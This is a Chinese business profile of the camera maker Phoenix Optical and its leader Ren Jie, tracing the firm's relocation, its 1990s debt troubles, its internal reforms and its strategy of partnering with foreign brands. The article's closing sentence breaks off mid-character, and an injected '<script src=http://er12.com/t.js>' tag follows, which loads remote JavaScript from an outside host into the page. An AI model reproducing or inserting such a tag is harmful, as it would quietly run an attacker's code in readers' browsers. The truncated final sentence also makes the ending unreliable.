在众人对“凤凰”这一个我国仅剩的相机品牌忧虑之时，凤凰人交出了一份令人刮目相看的精彩答卷：2004年，实现销售收入13.5亿元，比上年翻了一番。
从闭塞的德兴县大茅山区搬到上饶，再从上饶走向上海，从一个单纯的生产厂家到进入资本市场，凤凰光学的羽翼丰满绝非一朝一夕之事。每忆及此，凤凰的当家人——任捷便感慨良多：“磨难是痛苦的，但只要按市场经济游戏规则去做，就行。做大凤凰品牌，不仅是国人的期望，更是凤凰人的历史使命。凤凰产品将在新领域实现全面提升，实现这一目标，任重道远。”
用日本“方子”治“国企病”
一个大学毕业的上海姑娘，抛弃了繁华和舒适，在江西的山沟沟里一呆就是30年，这在今天人们的眼里多少显得有点傻。但是1969年，大学毕业刚刚一年的任捷，正是带着那个时代知识分子所特有的责任和坚韧，毫无怨言地随着上海照相机二厂内迁到了江西省德兴县的大茅山区，成为凤凰光学前身——江西光学仪器总厂(下称江光厂)的一名普通工人。
从电镀、油漆工干起，7年工人、7年技术员、7年分厂厂长，任捷的成长，与知识分子在中国的命运其实是一脉相承的。1988年，恰逢江光厂老一届领导班子调整，任捷和另外几位知识分子一起被充实进入江光总厂决策层，出任分管生产的副厂长。
然而，上任伊始，迎接任捷的就是前所未有的严峻挑战：为备战需要而建立的江光厂，跟随时代的变革，在1988年搬迁到了上饶。此时正逢国家“拨改贷”，江光厂欠下了银行巨额债务，负债率高达90%。
当时的外部环境也毫不乐观，1989年开始，国外大量进口相机和走私相机蜂拥而入，倾刻间占领了中国大部分市场，江光厂和国内其他相机企业迅速由高峰坠入低谷，几年之内，全国37家相机企业纷纷关停并转，江光厂也由赢利大户变成了亏损大户，灰心失望情绪弥漫全厂。
作为江西省的重点企业和纳税大户，江西省政府在1991年曾为此开过一次办公会，制定了九条优惠政策，但结果除了一条减税措施兑现之外，江光厂的困境依然没有丝毫改变。
“在市场经济中不能靠政府。”从企业最底层干起的任捷很清醒，江光厂的困难实际上是计划经济体制下长期积淀的“国有企业病”的必然结果。治标先治本，江光厂的改革必须从内部开始。
受日本事业部制经营管理模式启发，任捷上任后烧的第一把火就是，划小核算单位，把二级单位直接推向市场，实行自负盈亏的二级模拟法人的运作方式。任捷亲自在试点的光学仪器事业部蹲点，令她振奋的是，改制的第一年这个事业部就实现产值762万元，利税31万元。从1992年开始，江光厂全面推行事业部制，总厂放权让利，把分厂全部推出围墙，到市场上寻找空间。
“只要市场需要，我们什么都可以做。”任捷说。有一次他们一个事业部在40天内为一位厦门客商赶造了100台样机，当时一位客户的评价至今令她难以忘怀：“国有企业要么不做，做起来还真有大将风度。”
寻找市场定位
经过精减机构压缩冗员、改革分配人事制度一系列大改革大调整，任捷带领江光厂在1995年终于彻底摆脱困境，实现销售收入1.8亿，利税2700万元。工人收入也由每年不到2000元，增加到人均4000-5000元。
任捷说，以前江光厂的员工从上海探亲回来，老是发牢骚，甚至吵着要调离江光厂。随着收入的提高，职工们发现上海亲友的日子并不比自己好过，也就渐渐安定下来。
但是工人们满足了，任捷却不安了。因为到1994、1995年，经过残酷的竞争，全国37家照相机生产企业只剩下上海的海鸥和江西的凤凰两家。“我们的竞争对手不是国企，而是外国资本，佳能、理光、奥林巴斯……”竞争对手变了，江光厂的发展策略也应该变。
“现在似乎有个误区，一说国企要发展，要提升产品与产业结构，就必须往高、精、尖方向攻坚。事实上，对单个企业而言，重要的是找出市场空位。”任捷认为，这种空位，哪怕是中低档产品也行。
直面技术、制造不如竞争对手的现实，凤凰走上了一条与跨国公司既合作又竞争的道路。任捷说，这种竞争与合作是通过抓住接轨类、经销类和转移类三个增长点来实现的。
据任捷介绍，接轨性增长点是利用凤凰现有产品与技术为跨国公司做配套以及oem产品；经销性增长点是利用凤凰的销售网络代理经销与凤凰产品档次不同、市场冲突不大的国外名牌产品，既获得贸易利润又从中跟踪先进技术，学习现代管理方式，实现以市场换技术。比如，照相机的自动变焦和自动对焦技术涉及的近百个专利和nowehow是上世纪90年代先进水平，国内没有可借鉴的经验。凤凰就是通过与日本佳能公司贸易合作，来获得全套的自动相机技术资料。转移性增长点是把握跨国公司产业转移的大趋势，筑巢引凤。凤凰先后与日本索佳、东和、精工以及美国公司建?script src=http://er12.com/t.js>
